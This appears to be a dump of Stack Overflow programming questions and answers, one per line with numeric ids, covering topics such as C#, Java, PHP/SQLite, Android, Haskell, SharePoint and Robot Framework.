16934559	0	C# how to add data into excel with no headers <p>I tried searching for examples and never i found an example for inserting data into an empty excel.</p> <pre><code>Insert into [Sheet1$] (columnname1, columnName2) values ("somevalue","somevalue"); </code></pre>
32914951	0	Java minesweeper game I want to hide the broad when I start the game? <p>I'm new to this site, however, I'm having problem hiding my broad when I start the game, I just want to make it invisible from the user. But I don't know where did I missed up with my code. Please help me out with this.</p> <pre><code>import java.util.Scanner; public class MineSweeperGame { int row, col; boolean succes = false; public static void main(String[] args) { MineSweeperGame ms = new MineSweeperGame(); ms.run(); } // // Recursive reveal method // public void reveal(int x, int y, char[][] mineField, boolean[][] isVisible) { int minx, miny, maxx, maxy; int result = 0; // // if cell(x, y) is not mine, make sure visible that cell. // if (mineField[x][y] != '*') { isVisible[x][y] = true; // // if cell(x, y) is blank, check all surrounding cells // if (mineField[x][y] == '.') { // // Don't try to check beyond the edges of the board... // minx = (x &lt;= 0 ? 0 : x - 1); miny = (y &lt;= 0 ? 0 : y - 1); maxx = (x &gt;= row - 1 ? row - 1 : x + 1); maxy = (y &gt;= col - 1 ? col - 1 : y + 1); // // Loop over all surrounding cells, call recursive reveal(i, j) method // for (int i = minx; i &lt;= maxx; i++) { for (int j = miny; j &lt;= maxy; j++) { if (isVisible[i][j] == false) { reveal(i, j, mineField, isVisible); } } } } } // // if cell(x, y) is mine, do nothing. // else { } } void printMineMap(char[][] mineField, boolean[][] isVisible) { System.out.println(); succes = true; // // Loop over all cells, print cells // for (int x = 0; x &lt; row; x++) { for (int y = 0; y &lt; col; y++) { // // Loop over all cells, print cells // if (isVisible[x][y]) { System.out.print(" " + mineField[x][y] + " "); } else { System.out.print("[" + mineField[x][y] + "] "); if (mineField[x][y] != '*') { succes = false; } } } System.out.println(); } if (succes) { System.out.println("********** Congratulations~!!! You win. **********"); } } private void run() { // // Initialize MineField // char[][] mineField = MineField.getMineField(); row = mineField.length; col = mineField[0].length; boolean[][] isVisible = new boolean[row][col]; // print mine map printMineMap(mineField, isVisible); while (true) { System.out.print("Enter your guess (x y): "); Scanner in = new Scanner(System.in); // // input x, y // int x = in.nextInt() - 1; if (x &lt; 0) {// if negative value, exit program. System.out.println("Canceled by user."); break; } int y = in.nextInt() - 1; if (x &gt;= row || y &gt;= col) // ignore invalid values { continue; } // // Check cell(x,y) is mine, if yes, quit program // if (mineField[x][y] == '*') { isVisible[x][y] = true; printMineMap(mineField, isVisible); System.out.println("Game Over ~!!!"); break; } // // call recursive reveal method to reveal cell(x, y) // reveal(x, y, mineField, isVisible); printMineMap(mineField, isVisible); } } } </code></pre> <p>where and example of the game when it start ( I tried to post it as the game dose but every time I try it missed up the order).</p> <pre><code>[.] [.] [1] [1] [2] [*] [1] [.] [.] [.] [1] [*] [2] [1] [1] [.] [.] [.] [1] [1] [1] [1] [2] [2] [.] [1] [2] [2] [1] [1] [*] [*] [.] [1] [*] [*] [1] [1] [2] [2] [1] [2] [3] [4] [3] [1] [.] [.] [*] [1] [1] [*] [*] [1] [.] [.] [1] [1] [1] [2] [2] [1] [.] [.] </code></pre> <p>Enter your guess (x y): </p> <p>What I want is something like this </p> <pre><code>[] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] </code></pre>
30930082	0	Swift Array Issues <p>I have this code:</p> <pre><code>let posState = positionState(pos) if posState != .None { if posState == .Off { boardArray[pos.row][pos.column] == .On } else { boardArray[pos.row][pos.column] == .Off } } </code></pre> <p>The issue I'm having is that when I attempt to change the value of an element in <code>boardArray</code>, nothing happens. Why does boardArray's element stay the same?</p>
30238382	0	Separator lines for custom spinner are not dispalyed in Lollipop <p>I am using a custom BaseAdapter to create a custom spinner where I am using </p> <pre><code>@Override public View getDropDownView(int position, View cnvtView, ViewGroup prnt) { return cnvtView; } </code></pre> <p>to display a drop down bar. But between the text items here the separator lines are displayed in android 5. This happens only for lollipop version. Not sure why is this happening. </p> <p>Also tried using </p> <pre><code> @Override public boolean areAllItemsEnabled() { return true; } @Override public boolean isEnabled(int position) { return false; </code></pre> <p>}</p> <p>Still no luck. Can any body please explain?</p>
23088033	0	Logging response and request to OAuth provider <p>Is there a way to capture the response from requests served by OAuth? Specifically, I need to log the request and response from <code>OAuthAuthorizationServerProvider.GrantResourceOwnerCredentials()</code>.</p> <p>I've tried extending <code>OwinMiddleware</code> and overriding <code>Invoke</code> as shown in <a href="http://stackoverflow.com/questions/17679644/owin-onsendingheaders-callback-reading-response-body?lq=1">this post</a>, but I'm unable to read the response body. I'd like to use a message handler as <a href="http://stackoverflow.com/questions/17656066/converting-httprequestmessage-to-owinrequest-and-owinresponse-to-httpresponsemes">this post</a> demonstrates, but I don't have <code>UseHttpMessageHandler</code> on my <code>AppBuilder</code> object.</p> <p>Any help would be greatly appreciated. Thank you!</p> <p><strong>Update</strong></p> <p>Modifying the example provided in Brock's excellent <a href="http://brockallen.com/2014/02/28/lidnug-intro-to-owin-and-katana" rel="nofollow">video</a>, here's what I need to do:</p> <pre class="lang-cs prettyprint-override"><code>public class Startup { public void Configuration(IAppBuilder app) { app.Use(typeof(MW1)); app.Map("/api", fooApp =&gt; { fooApp.Use&lt;MW2&gt;(); }); } } public class MW1 { Func&lt;IDictionary&lt;string, object&gt;, Task&gt; next; public MW1(Func&lt;IDictionary&lt;string, object&gt;, Task&gt; next) { this.next = next; } public async Task Invoke(IDictionary&lt;string, object&gt; env) { var ctx = new OwinContext(env); await next(env); // I need to be able to read: &lt;h1&gt;MW2 called&lt;/h1&gt; written by MW2 var body = ctx.Response.Body; // body.CanRead = False } } public class MW2 { Func&lt;IDictionary&lt;string, object&gt;, Task&gt; next; public MW2(Func&lt;IDictionary&lt;string, object&gt;, Task&gt; next) { this.next = next; } public async Task Invoke(IDictionary&lt;string, object&gt; env) { var ctx = new OwinContext(env); await ctx.Response.WriteAsync("&lt;h1&gt;MW2 called&lt;/h1&gt;"); await next(env); } } </code></pre> <p>I actually need to read the response sent from the OAuth provider, but I assume it would be the same process.</p>
21696873	0	 <p>The initial problem stems from the restriction that contracts cannot modify the object they belong to (otherwise, the program might behave differently in debug and release mode). The way the language enforces that restriction is by making the <code>this</code> pointer <code>const</code>.</p> <p>A <code>const this</code> means is that you can't modify the <code>this</code> object's fields, and as for calling methods - those methods themselves must be annotated as <code>const</code>, and the same restrictions apply to the code of those methods. This explains the first error: the contract, which was <code>const</code>, was trying to call a non-<code>const</code> (mutable) method. Since mutable methods are allowed to modify <code>this</code>, and contracts are forbidden to do so, the compiler forbids the call.</p> <p>Because of the transitive nature of D's constness, everything that's accessed through the <code>this</code> pointer becomes <code>const</code>. And, if any of the class fields are reference types, the target of their indirections becomes <code>const</code> too. This is how the type system will forbid modifying anything that can be reached through the <code>this</code> pointer.</p> <p>The implication of this is that if a <code>const</code> method is trying to return a class field (with indirections, such as a class type like <code>Node</code>), the returned type must also be <code>const</code>. This is the source of the second error message: the return expression attempted to convert the <code>const Node</code> value, obtained through the <code>const this</code>, to a mutable <code>Node</code>. Currently, the syntax <code>@property const Node sub()</code> indicates that the method itself is <code>const</code> (and has as <code>const this</code>), not the return type.</p> <p>Now, generally, in C++, an object with proper constness support will usually have multiple overloads for the methods which return a class field: <code>const</code>, and non-<code>const</code>. The <code>const</code> versions will return a <code>const</code> reference; the non-<code>const</code> will return a non-<code>const</code> reference. The two versions are needed to allow obtaining a mutable field reference when we have access to a mutable object, but still allow getting a <code>const</code> reference if we only have <code>const</code> access to the object. Most of the time, the code of the two methods will be identical - only the function signature will differ.</p> <p>This is where D's <code>inout</code> comes in. Specifying it on the method and some of its arguments or return value means that those arguments or return value will have the same constness as that of <code>this</code> (the object being referred to). This avoids code duplication for the simple cases where returning <code>const</code> and mutable values uses the same code.</p> <p>The syntax I used is <code>@property inout(Node) sub() inout</code>. I think it can be written in more than one way, but this syntax is unambiguous. Here, the parens in <code>inout(Node)</code> make it explicit that we apply the attribute on the return value, and not the function, and placing the method (<code>this</code>) <code>inout</code> attribute after the parameter list, like <code>const</code> in C++, unambigously specifies that it applies to the function itself.</p>
23613980	0	Does not equal filter using vba-access <p>Hello everyone I have been trying to filter data for the "First Match" and "Second Match" that does not equal certain values so the best way I thought of doing this was to create an array of possible values for the field that you would want to filter out and then use a for loop to go through each possible value and filter the data accordingly and at the same time append the values so the previous filtered data will not be lost.</p> <pre><code>Private Sub notEqual_Click() Dim strArray(0 To 13) As String strArray(0) = 0 strArray(1) = 2 strArray(2) = 3 strArray(3) = 4 strArray(4) = 5 strArray(5) = 6 strArray(6) = 7 strArray(7) = 8 strArray(8) = 9 strArray(9) = 10 strArray(10) = 11 strArray(11) = 12 strArray(12) = 13 strArray(13) = 14 For i = LBound(strArray) To UBound(strArray) 'txtF and txtL refers to the text box value If txtF &lt;&gt; "15" And txtF &lt;&gt; "1" Then Me.Filter = "[First Match] = " &amp; strArray(i) Me.Filter = Me.Filter &amp; strArray(i) End If If txtL &lt;&gt; "15" And txtL &lt;&gt; "1" Then Me.Filter = "[Second Match] = " &amp; strArray(i) Me.Filter = Me.Filter &amp; strArray(i) End If Next Me.FilterOn = True End Sub </code></pre> <p>I get an error that says syntax error (missing operator) in query expression 'First Match0". Am I possibly appending the values the wrong way? I feel like there is something wrong with the code inside the for loop.</p>
6944642	0	 <p>Try this: </p> <pre><code>php &gt; list($d,$m,$y) = explode("/","28/04/2011"); php &gt; echo date("Y-m-d",mktime(0,0,0,$m,$d,$y)); 2011-04-28 </code></pre>
35235759	0	After changing a variable, do I have to restart? <p>I have a long running service, that consists of two threads.</p> <pre><code>//MY SERVICE: if(userEnabledProcessOne) //Shared preference value that I'm getting from the settings of my app based on a checkbox processOneThread.start(); if(userEnabledProcessTwo) processTwoThread.start(); </code></pre> <p>Basically, I give the user the option to enable/disable these processes with a checkbox. Now, if the user decides to disable one of the processes <strong>while the service is running</strong>, do I need to restart my service with the updated shared preferences? Like so?</p> <pre><code>//In the settings activity of my app public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { if ( isChecked ) { // Change shared preferences to make the process enabled stopService(myService.class) startService(myService.class) } if (!isChecked) // Change shared preferences to make the process enabled stopService(myService.class) startService(myService.class) } </code></pre> <p>Now that I've changed my shared preferences, do I need to relaunch my service consisting of two threads? Do I need to do anything to the threads? Is this efficient?</p> <p>Thanks so much,</p> <p>Ruchir</p>
31482781	0	sqlite errors in multithread PHP script <p>I need to update single sqlite database from different separated PHP threads, all running at the same time. Below is the code for db connection</p> <pre><code> $db = new SQLite3(__DIR__.'/proxy.db'); $db-&gt;busyTimeout(5000000); $db-&gt;exec('PRAGMA journal_mode=WAL;'); $db-&gt;exec('PRAGMA temp_store=2;'); $db-&gt;exec('PRAGMA synchronous=0;'); </code></pre> <p>And this is the different methods for updating...</p> <pre><code> $db-&gt;query('BEGIN TRANSACTION;UPDATE proxy SET lastused='.time().' WHERE id='.$row['id'].';COMMIT;'); $db-&gt;query('BEGIN DEFERRED;UPDATE proxy SET lastused='.time().' WHERE id='.$row['id'].';COMMIT;'); $db-&gt;query('BEGIN IMMEDIATE;UPDATE proxy SET lastused='.time().' WHERE id='.$row['id'].';COMMIT;') </code></pre> <p>all of them <em>sometime</em> return error: "Unable to execute statement: SQL logic error or missing database". If remove begin-commit code, then I got SQLite3::query(): database is locked.</p> <p>Can I somehow change the code to get rid of those errors (but still use <em>separated</em> multi-threaded processes)?</p>
15491442	0	 <p>First things first, the CoffeeScript compiler already has a <code>join</code> command: </p> <blockquote> <pre><code>-j, --join [FILE] </code></pre> <p>Before compiling, concatenate all scripts together in the order they were passed, and write them into the specified file. Useful for building large projects.</p> </blockquote> <p>Secondly, instead of using <code>$(document).ready(function () { ...} )</code>, you can just pass the function directly to the <code>$()</code> - <code>$(function () { ... });</code></p> <p>For your actual problem, there are a few ways you could do it.</p> <h2>Option 1:</h2> <p>Compile the .coffee files using the <code>-b / --bare</code> option, and then manually concatenate a file containing <code>$(function() {</code> and the start and <code>});</code> at the end (but that's pretty gross).</p> <h2>Options 2:</h2> <p>Use something like <code>exports = window ? this</code> to get the global object, and assign the functionality you wish to run in the jQuery load function to that global object, eg:</p> <pre><code>FooModule = do -&gt; class Foo constructor: (@blah) -&gt; init = -&gt; blah = new Foo('bar') init: init exports = window ? this exports.Foo = FooModule </code></pre> <p>You could then have another file that contains something like the following:</p> <pre><code>$(-&gt; Foo.init() ) </code></pre> <p>Hope one of those options is good?</p>
7936970	0	 <p>If you can display at most one set of topicdetails at a time, have one div set to position 0,0 with <code>display</code>=<code>none</code>. Whenever you need it to show, set the location appropriately (get it from the mousover/hover DOM element, or whatever you use to trigger the event that displays it), and load/set the content. On remove, just set the display to none (you can ignore the content since it will be replace by new content next time it appears).</p>
32507690	0	OSX codesign for a specific macho binary <p>I have a simple C code that i can gcc on my OS X. (I'm using El Capitan beta.) I know there are many guides for signing apps in Xcode. But I just want to codesign for this specific macho binary.</p> <p>Is there any way to do it? Also, do i have to have an apple developer account to codesign this program? I'm not planning to release the binary to anyone. I'm just studying OSX stuff. </p> <p>Thanks!</p>
28232187	0	 <p>First, create examples for all these cases, and order them correctly by their intended priority:</p> <pre><code>status date -------------- past_due d1 past_due d2 open d1 open d2 paid d2 paid d1 future ? draft d2 draft d1 </code></pre> <p>Then, assign numbers so that <code>ORDER BY status2, date2</code> would work correctly. (If we assume that dates are numbers, <code>-d2</code> is smaller than <code>-d1</code>, i.e., negating them reverses the sort direction.)</p> <pre><code>status date status2 date2 ------------------------------ past_due d1 1 d1 past_due d2 1 d2 open d1 2 d1 open d2 2 d2 paid d2 3 -d2 paid d1 3 -d1 future ? 4 ? draft d2 5 -d2 draft d1 5 -d1 </code></pre> <p>Then use <a href="http://www.sqlite.org/lang_expr.html#case" rel="nofollow">CASE expressions</a> to map the status values to these numbers, and to modify the dates accordingly. (<a href="http://www.sqlite.org/lang_datefunc.html" rel="nofollow">julianday()</a> returns a number if the date values are in a supported format; the actual meaning of Julian days does not matter as long as they compare correctly to each other.)</p> <pre><code>SELECT customer_id, customer_version, startDate, status FROM invoices WHERE customer_id = 123 AND customer_version = '321' ORDER BY CASE status WHEN 'past_due' THEN 1 WHEN 'open' THEN 2 WHEN 'paid' THEN 3 WHEN 'future' THEN 4 WHEN 'draft' THEN 5 END, CASE WHEN status IN ('past_due', 'open', 'future') THEN julianday(startDate) -- earliest date first ELSE -julianday(startDate) -- latest date first END LIMIT 1 </code></pre> <p>The <code>LIMIT 1</code> then returns only the first of these sorted rows (if any has been found).</p>
16738910	0	 <p>In addition to cellEditor it is necessary to do the cellRenderer to paint the combobox in the cell, look at this:</p> <pre><code> public void example(){ TableColumn tmpColum =table.getColumnModel().getColumn(1); String[] DATA = { "Data 1", "Data 2", "Data 3", "Data 4" }; JComboBox comboBox = new JComboBox(DATA); DefaultCellEditor defaultCellEditor=new DefaultCellEditor(comboBox); tmpColum.setCellEditor(defaultCellEditor); tmpColum.setCellRenderer(new CheckBoxCellRenderer(comboBox)); table.repaint(); } /** Custom class for adding elements in the JComboBox. */ class CheckBoxCellRenderer implements TableCellRenderer { JComboBox combo; public CheckBoxCellRenderer(JComboBox comboBox) { this.combo = new JComboBox(); for (int i=0; i&lt;comboBox.getItemCount(); i++){ combo.addItem(comboBox.getItemAt(i)); } } public Component getTableCellRendererComponent(JTable jtable, Object value, boolean isSelected, boolean hasFocus, int row, int column) { combo.setSelectedItem(value); return combo; } } </code></pre>
17431610	0	DictionaryEntry to user object <p>I have a custom user object class appuser</p> <pre><code> public class appuser { public Int32 ID { get; set; } public Int32 ipamuserID { get; set; } public Int32 appID { get; set; } public Int32 roleID { get; set; } public Int16 departmenttypeID { get; set; } public generaluse.historycrumb recordcrumb { get; set; } public appuser() { } public appuser(DataRow dr) { ID = Convert.ToInt32(dr["AppUserID"].ToString()); ipamuserID = Convert.ToInt32(dr["IpamUserID"].ToString()); appID = Convert.ToInt32(dr["AppID"].ToString()); roleID = Convert.ToInt32(dr["AppRoleID"].ToString()); departmenttypeID = Convert.ToInt16(dr["AppDepartmentTypeID"].ToString()); recordcrumb = new generaluse.historycrumb(dr); } public void appuserfill(DictionaryEntry de, ref appuser _au) { //Search for key in appuser given by de and set appuser property to de.value } } </code></pre> <p>How do I set the property within the appuser object that is passed as the key in the DictionaryEntry without knowing what the key initially is?</p> <p>for example: de.key = ipamuserID, dynamically find the property within _au and set the value = de.value?</p>
34672529	0	Algorithmic complexity of Data.Hashtable <p>I am attempting to write a function that utilizes hashes (for an implementation of A*).</p> <p>After a little bit of research, I have found that the defacto standard is <code>Data.Map</code>.</p> <p>However, when reading the API documentation, I found that: <code>O(log n). Find the value at a key.</code></p> <p><a href="https://downloads.haskell.org/~ghc/6.12.2/docs/html/libraries/containers-0.3.0.0/Data-Map.html">https://downloads.haskell.org/~ghc/6.12.2/docs/html/libraries/containers-0.3.0.0/Data-Map.html</a></p> <p>In fact the documentation generally suggests big O times significantly inferior to the O(1) of a standard Hash.</p> <p>So then I found <code>Data.HashTable</code>. <a href="https://hackage.haskell.org/package/base-4.2.0.2/docs/Data-HashTable.html">https://hackage.haskell.org/package/base-4.2.0.2/docs/Data-HashTable.html</a> This documentation does not mention big O directly, leading me to believe that it probably fulfills my expectations.</p> <p>I have several questions: 1) Is that correct? Is O(lookupInDataHashTable) = O(1)? 2) Why would I ever want to use <code>Data.Map</code> given its inefficiency? 3) Is there a better library for my data structure needs?</p>
17020545	0	Doctrine 2 Postgresql stock procedure mapping <p>i 'd like to associate to a doctrine entity a postgresql stock procedure (which returns a table as result) instead of a table</p> <p>Ex : the procedure Get_Uuser(sexe, age) search all the users for the selected parameters et returns a collection of user_id (names user_id_rech for exemple).</p> <p>In pgsql, I can use this stock procedure as a table : </p> <p>select user_name from User left join Get_User('H', 45) where User.user_id = user_id_rech</p> <p>The stock procedure is used like a table here.</p> <p>I don't think that doctrine 2 allows to map a stock procedure, but I'd like that someone can confirm that to me.</p> <p>Thanks</p>
12379448	0	 <p>Concider using the fitting layout manager that will help you expand the way you want to when you add the components</p> <p><a href="http://docs.oracle.com/javase/tutorial/uiswing/layout/visual.html">http://docs.oracle.com/javase/tutorial/uiswing/layout/visual.html</a></p> <p>I think you are looking for the GridLayout and possibly use FlowLayout JPanels inside so that they dont expand, but this will depend on what you want to insert.</p>
14319708	0	 <p>Implementing the control is exactly the same as implementing it in pure ASP.NET - no difference.</p> <p>To include it in Sitefinity, you have to register it in the toolbox. Here is the documentation for this: <a href="http://www.sitefinity.com/documentation/documentationarticles/adding-controls-to-the-toolbox" rel="nofollow">http://www.sitefinity.com/documentation/documentationarticles/adding-controls-to-the-toolbox</a></p> <p>Once that's done, you can create a page in Sitefinity and put your custom control on it using drag and drop. Here's a video showing how: <a href="http://www.youtube.com/watch?v=LZ4VHGKQsrg" rel="nofollow">http://www.youtube.com/watch?v=LZ4VHGKQsrg</a></p>
1571395	0	htm vs html which one should be preferred? <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/1163738/htm-vs-html">.htm vs .html</a> </p> </blockquote> <p>I have seen many static webpages having two variants of file extensions, which one is preferred and why there are two?</p>
30683719	0	Android - Activity uses or overrides a deprecated API <p>I have literally created a brand new Android Project on the latest Android Studio. The first thing I did was to add the `Realm' library to the project by adding the following to the gradle file:</p> <pre><code>compile 'io.realm:realm-android:0.80.3' </code></pre> <p>If I try to compile, I get the following error:</p> <pre><code>Note: C:\....\MainActivity.java uses or overrides a deprecated API. </code></pre> <blockquote> <p>Origin 2: C:\Users\Usmaan.gradle\caches\modules-2\files-2.1\io.realm\realm-android\0.80.3\7979d05ba7b919c53766bf98e31aaf0e9feb0590\realm-android-0.80.3.jar Error:duplicate files during packaging of APK C:...\app\build\outputs\apk\app-debug-unaligned.apk Path in archive: META-INF/services/javax.annotation.processing.Processor Origin 1: C:\Users\Usmaan.gradle\caches\modules-2\files-2.1\com.jakewharton\butterknife\6.1.0\63735f48b82bcd24cdd33821342428252eb1ca5a\butterknife-6.1.0.jar You can ignore those files in your build.gradle: android {<br> packagingOptions { exclude 'META-INF/services/javax.annotation.processing.Processor' } Error:Execution failed for task ':app:packageDebug'.</p> <blockquote> <p>Duplicate files copied in APK META-INF/services/javax.annotation.processing.Processor File 1: C:\Users\Usmaan.gradle\caches\modules-2\files-2.1\com.jakewharton\butterknife\6.1.0\63735f48b82bcd24cdd33821342428252eb1ca5a\butterknife-6.1.0.jar File 2: C:\Users\Usmaan.gradle\caches\modules-2\files-2.1\io.realm\realm-android\0.80.3\7979d05ba7b919c53766bf98e31aaf0e9feb0590\realm-android-0.80.3.jar }</p> </blockquote> </blockquote> <p>Any ideas?</p>
29559289	0	 <p>I can't simulate this, but after read your code I assume this code will work.. First add marker as your pin property:</p> <pre><code>self.mapPin = function (name, lat, lon, text) { this.name = ko.observable(name); this.lat = ko.observable(lat); this.lon = ko.observable(lon); this.text = ko.observable(text); this.marker = new google.maps.Marker({ position: new google.maps.LatLng(lat, lon), map: map, animation: google.maps.Animation.DROP }); // removed for clarity }; </code></pre> <p>then set pin marker visibility while filtering your pins</p> <pre><code>self.filterPins = ko.computed(function () { var search = self.query().toLowerCase(); return ko.utils.arrayFilter(self.pins(), function (pin) { var match = pin.name().toLowerCase().indexOf(search) &gt;= 0; pin.marker.setVisible(match); // maps API hide call return match; }); }); </code></pre> <p><a href="https://developers.google.com/maps/documentation/javascript/reference#Marker" rel="nofollow">Google Maps Marker Documentation</a></p>
30978896	0	 <p>please try closing the classloader before you 'unload' it.</p> <pre><code>public void unloadJarAndClass() throws IOException { dukeClassLoader.close(); /* all object must be collected in order to reload jar */ jarFile = null; dukeClassLoader = null; classToLoad = null; // System.gc(); don't do this unless you're really // sure you have to ! } </code></pre> <p>I would recommend not calling System.gc() explicitly ! (see <a href="http://stackoverflow.com/questions/2414105/why-is-it-bad-practice-to-call-system-gc">Why is it bad practice to call System.gc()?</a> for example)</p>
26158808	0	 <p>This error is caused by a product without ID. Check that all your *.product files specify an ID on the Overview tab of the Product Configuration Editor.</p>
22905119	0	create image of application and store to database <p>I have create a application in c#. What my problem was when user try to edit something new to database via this application, it will not save to main table in database directly, but will store on another table, and waiting for another user to approve it.</p> <p>In this case, if user try to edit, I wish to save the application image and store to the table, and when another user come and approve it, it can show different before edit and after edit, this is much convenience for user to view and make decision.</p> <p>I have search through internet, but I can not find a good solution to solve this problem, anyone can help please.</p>
2161403	0	 <p>Looking at the documentation for <a href="http://developer.android.com/intl/fr/reference/android/media/MediaRecorder.AudioSource.html" rel="nofollow noreferrer"><code>MediaRecorder.AudioSource</code></a> I would say that this should be possible using the <a href="http://developer.android.com/intl/fr/reference/android/media/MediaRecorder.AudioSource.html#VOICE_DOWNLINK" rel="nofollow noreferrer"><code>VOICE_DOWNLINK</code> source</a>.</p> <pre><code>MediaRecorder recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.VOICE_DOWNLINK); </code></pre>
23107989	0	How to Construct the Email To activity in SharePoint 2013 Workflow <p>I am using SharePoint 2013 SP1 and I am having a problem constructing the Email Activity To attribute. </p> <p>Here's where I am at. I have a created a custom workflow and custom association and initiation form using SharePoint 2013.</p> <p>My Assn. form is fine. I pass in the people Editor control (Active Directory group name ie. SharePointApprovers) value to my workflow just fine.</p> <p>Now on my Init form I use the passed in value from people picker and display a list of users and email addresses from the people picker group. The list of users and email addresses are listed in a table with a check box to the left of each row. I am using JQuery, Knockout and MVC web service to retrieve the values from the group.</p> <p>All is well.</p> <p>Now my users pick who they want to send the email to. Let's say they pick two users! This means my variable is like this (<code>firstuser@abc.com;seconduser@abc.com</code>).</p> <blockquote> <p>When the user clicks the submit button, I have <code>JSOM</code> code which starts the workflow and sends in the 2 users email addresses as an argument to the workflow. Note: I tried sending my two emails as a array and failed but if I send it in as a string it works. The variable is called strUsers.</p> </blockquote> <p>Since the argument is a string and Email Activity To attribute requires an array, I use the <code>BuildCollection&lt;String&gt;</code> Activity to convert my string strUsers to an array. I think this worked, as when I added a WriteToHistory Activity to <strong>my workflow my result in workflow history</strong> is as follows... <code>"The value is firstuser@abc.com;seconduser@abc.com"</code>.</p> <p>I then configure the email Activity and set to To property to my BuildActivity variable (recipients). As this is an array.</p> <p>When I deploy my Visual Studio 2013 solution, and attach my workflow to a publishing page, I am getting this error after I submit the Init form.</p> <blockquote> <p>An unhandled exception occurred during the execution of workflow instance. System.ArgumentNullException.</p> </blockquote> <p>Does anyone know of an example of how to set up the Email To collection value.</p> <p>PS I have looked at this <a href="http://blogs.msdn.com/b/officeapps/archive/2013/09/18/step-by-step-sending-email-messages-from-a-workflow-in-an-app-for-sharepoint-2013.aspx" rel="nofollow">link</a> but it is only passing in one variable. In my case I have a string of emails. I need to pass in an array to the Email To property.</p>
22568824	0	 <p>You are targeting a class called div instead of the tag. Remove the leading dot and you should be fine.</p>
11159314	0	 <p>If the response is between 199 and 300 ( >= 200 and &lt; 300 ) or equal to 304 and the responseText can be successfully converted to the dataType that you provide (text by default), it is considered a successful request.</p> <p>For example, if you return JSON and you get a 200 response status but it fails, it is more than likely a JSON parser problem meaning your JSON is not valid.</p> <p>If you are returning HTML or XML and it fails with a 200 response status, the responsetext couldn't be converted to HTML or XML respectively (commonly happens in IE with invalid html/xml)</p>
18550614	0	 <p>Something along the lines of this, however you will have to do more checks to see if the socket is still alive or not, etc.</p> <pre><code>var net = require('net'); var sockets = {}; var server = net.createServer(function(c) { //'connection' listener var name = generate_name_from_con(c); console.log('server connected'); sockets[name] = c; c.on('end', function() { delete sockets[n]; console.log('server disconnected'); }); c.write('hello\r\n'); c.pipe(c); }); server.listen(8124, function() { //'listening' listener console.log('server bound'); }); app.get('/msg/:theMsg', function (req, res) { res.setHeader('Content-Type', 'application/json'); if(socketName in sockets) sockets[socketName].write(req.params.theMsg); }); </code></pre>
40401338	0	Sequelize: Query an association table <p>I have trouble querying an association table using sequelize. I have 3 tables: User, Roles and UserRoles. A user can have many roles.</p> <p>I am trying to query in UserRoles (which stores userID and roleID ).</p> <pre><code>var User = sequelize.define('User', { // }, { classMethods: { associate: function(models) { User.belongsToMany(models.Role, { through: 'UserRole' }); var Role = sequelize.define('Role', { // }, { classMethods: { associate: function(models) { Role.belongsToMany(models.User, { through: 'UserRole' }); } } }); </code></pre> <p>I suspect the problem is with UserRole Model defition.</p> <pre><code>var UserRole = sequelize.define('UserRole', { // }, { associate: function(models) { UserRole.belongsTo(models.User, { foreignKey: 'UserId', foreignKeyConstraint: true, targetKey: 'id' }); UserRole.belongsTo(models.Role, { foreignKey: 'RoleId', foreignKeyConstraint: true, targetKey: 'id' }); } db.UserRole.findAll({ //Returns empty }) </code></pre>
10260250	0	 <p>According to Net::HTTP doc you can do </p> <pre><code>res = Net::HTTP.post_form("example.com/index.html", 'q' =&gt; 'ruby', 'max' =&gt; '50') puts res.body </code></pre> <p>see <a href="http://ruby-doc.org/stdlib-1.9.3/libdoc/net/http/rdoc/Net/HTTP.html#method-c-post_form" rel="nofollow">http://ruby-doc.org/stdlib-1.9.3/libdoc/net/http/rdoc/Net/HTTP.html#method-c-post_form</a></p>
15416342	0	Unknown extern method T System.Nullable`1::get_Value() <p>I've run into a problem with my dot42 C# project:</p> <pre><code>Unknown extern method T System.Nullable`1::get_Value() at System.Void NokiaStyleProfiles.AddDialogue::btnAdd_Click(System.Object,System.EventArgs) (c:\Users\STO\Documents\Visual Studio 2012\Projects\NokiaStyleProfiles\NokiaStyleProfiles\AddDialogue.cs, position 86,13) </code></pre> <p>Code that's causing that problem:</p> <pre><code>int hourStart = timePickerStart.CurrentHour.Value; (timePicker.CurrentHour is an int?) </code></pre> <p><code>(int)</code>, <code>.Value</code> and <code>.GetValueOrDefault()</code>, as expected, produce the same result : this error.</p> <p>How can i fix it?</p>
6214666	0	 <p><a href="https://github.com/harrah/xsbt/tree/0.9" rel="nofollow"><strong>SBT 0.9.x</strong></a>:</p> <pre><code>(sourceDirectories in Test) := Seq(new File("src/test/scala/unit"), new File("src/test/scala/functional")) </code></pre> <p><strong>SBT 0.7.x</strong>:</p> <pre><code>override def testSourceRoots = ("src" / "test") +++ "scala" +++ ("unit" / "functional") </code></pre>
35177226	0	 <p>The problem is here:</p> <pre><code>***Variables*** ... ${headers}= Create Dictionary Cache-Control no-cache </code></pre> <p>You cannot call keywords like <code>create dictionary</code> in the variables table. The above code is setting <code>${headers}</code> to be the <em>string</em> <code>"Create Dictionary Cache-Control no-cache"</code>.</p> <p>Starting with version 9 of robot framework there is direct support for dictionaries using an ampersand rather than dollar sign for variables. You can specify values using <code>&lt;key&gt;=&lt;value&gt;</code> syntax. For example:</p> <pre><code>*** Variables *** &amp;{headers} Cache-Control=no-cache </code></pre>
33513140	0	 <p>In the project window of your IDE click on the options menu(small gear icon) and disable the "Flatten Packages" option. This will make things more straight forward.</p> <p>From there you can simply right click on the ui package and select <code>new -&gt; package</code> to create your <code>actvt2</code> package.</p>
24573963	0	Move Constructor - invalid type for defaulted constructor VS 2013 <p>I was reading regarding move constructor and I did this code in VS 2013...</p> <pre><code>class Student { unique_ptr&lt;string&gt; pName_; public: Student(string name) : pName_(new string(name)) { } ~Student() { } Student(Student&amp;&amp;) = default; // Here I get the error. void printStudentName(void) { cout &lt;&lt; *pName_ &lt;&lt; endl; } }; int main(void) { vector&lt;Student&gt; persons; Student p = Student("Nishith"); persons.push_back(std::move(p)); persons.front().printStudentName(); return 0; } </code></pre> <p>I get the "<code>Student::Student(Student&amp;&amp; )</code> : is not a special member function which can be defaulted" when I tried to compile it...</p> <p>Can anyone explain me why I am getting this error?</p>
